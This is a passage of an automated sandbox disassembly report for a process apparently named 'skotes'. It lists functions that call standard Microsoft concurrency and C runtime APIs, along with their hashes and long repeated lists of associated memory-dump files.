StructuredWorkStealingQueue.LIBCMT ref: 004E20B7

Part of subcall function 004DCAF3: Mailbox.LIBCMT ref: 004DCB2D

Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 004E20C8
StructuredWorkStealingQueue.LIBCMT ref: 004E20FE
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 004E210F

Strings

e, xrefs: 004E20D9

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: Work$Concurrency::details::ItemItem::QueueStealingStructured$Mailbox
String ID: e
API String ID: 1411586358-4024072794
Opcode ID: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction ID: 7d90001e9d916e46423e1dcb00c3f52b6c674c4997e61451c701fa60a70b6089
Opcode Fuzzy Hash: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction Fuzzy Hash: 1C1198311001859BDB15DE6BCA81B6B73ACAF01326B14819BFD059F242DBF9DA01DB99

Function 004CD029 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 59COMMON

Download Yara Rule

APIs

___scrt_fastfail.LIBCMT ref: 004CD0A5

Strings

SleepConditionVariableCS, xrefs: 004CD05D
WakeAllConditionVariable, xrefs: 004CD069
kernel32.dll, xrefs: 004CD04C
api-ms-win-core-synch-l1-2-0.dll, xrefs: 004CD03B

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: ___scrt_fastfail
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2964418898-3242537097
Opcode ID: deda2280b8c78e4133774af77f7ae4662f680bda44308a8d7f06c4f26dbdc8fe
Instruction ID: 5aaca3bee9283d1260648fbede8a1688414ff5fe0f84d903105f8253622606bb
Opcode Fuzzy Hash: deda2280b8c78e4133774af77f7ae4662f680bda44308a8d7f06c4f26dbdc8fe
Instruction Fuzzy Hash: 7A01AC65E92B1199F63137775C02FAB15CEDB82B88F051039EC04E32C0EAE4DD01B5EA

Function 004DE8DD Relevance: 7.6, APIs: 5, Instructions: 117COMMON

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 004DE91E
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 004DE926
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 004DE950
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 004DE959
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 004DE9DC

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Context$Base::$GroupScheduleSegment$AssignAvailableConcurrency::location::_EventInternalMakeProcessor::ReleaseRunnableTraceVirtual
String ID:
API String ID: 512098550-0
Opcode ID: 6f8f8e5bc167db5b3b14231080803634968f782d9310e5392e6be8af30c49069
Instruction ID: 30fc30277a8cf261a48dba8bc3073bc040aeb6ffa6d48a70cfe33faea55e847b
Opcode Fuzzy Hash: 6f8f8e5bc167db5b3b14231080803634968f782d9310e5392e6be8af30c49069
Instruction Fuzzy Hash: 21414275A00615EFCB09EF65C464A6DB7B5FF48310F04815FE506AB391CB78AD01CB85

Function 004DD2B9 Relevance: 7.6, APIs: 5, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ReferenceCountedQuickBitSet::InterlockedSet.LIBCONCRT ref: 004DD344
ListArray.LIBCONCRT ref: 004DD367
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 004DD370
ListArray.LIBCONCRT ref: 004DD3A8
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 004DD3B3

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$ArrayListVirtual$ActiveAvailableBase::CountedInterlockedMakeProcessorProcessor::QuickReferenceSchedulerSet::
String ID:
API String ID: 4212520697-0
Opcode ID: e2f91f1e65b83dfc48cfe647b2fd7c4411d341dbbd40618c91f9ba1dcac23ffc
Instruction ID: d9c66e7ff4400339a41909076fa919381a6fb71088ccbf7b8d63ac56783b7274
Opcode Fuzzy Hash: e2f91f1e65b83dfc48cfe647b2fd7c4411d341dbbd40618c91f9ba1dcac23ffc
Instruction Fuzzy Hash: 8E31B275B00210AFCB05DF55C8A4FAEB7B5AF88314F05419BE8069B392DB78ED41CB96

Function 004D86C9 Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 004D86EE

Part of subcall function 004CEAD0: _SpinWait.LIBCONCRT ref: 004CEAE8

Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 004D8702
Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 004D8734
List.LIBCMT ref: 004D87B7
List.LIBCMT ref: 004D87C6

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
String ID:
API String ID: 3281396844-0
Opcode ID: dff9dab615b7583b96cc935857018be4566e1e0ba7cb12c81f06b1de19572620
Instruction ID: d8f146a36bfd951ed16b2b755dd4018b1461cd6c05407e71af3398117c9f9675
Opcode Fuzzy Hash: dff9dab615b7583b96cc935857018be4566e1e0ba7cb12c81f06b1de19572620
Instruction Fuzzy Hash: 6E317736A01255DFCB10EFA9C9A1AEDBBB1BF04318F24006FD80167342CB39A904CB99

Function 004E182A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 004E18A4
Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 004E18EB

Strings

pContext, xrefs: 004E189C

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
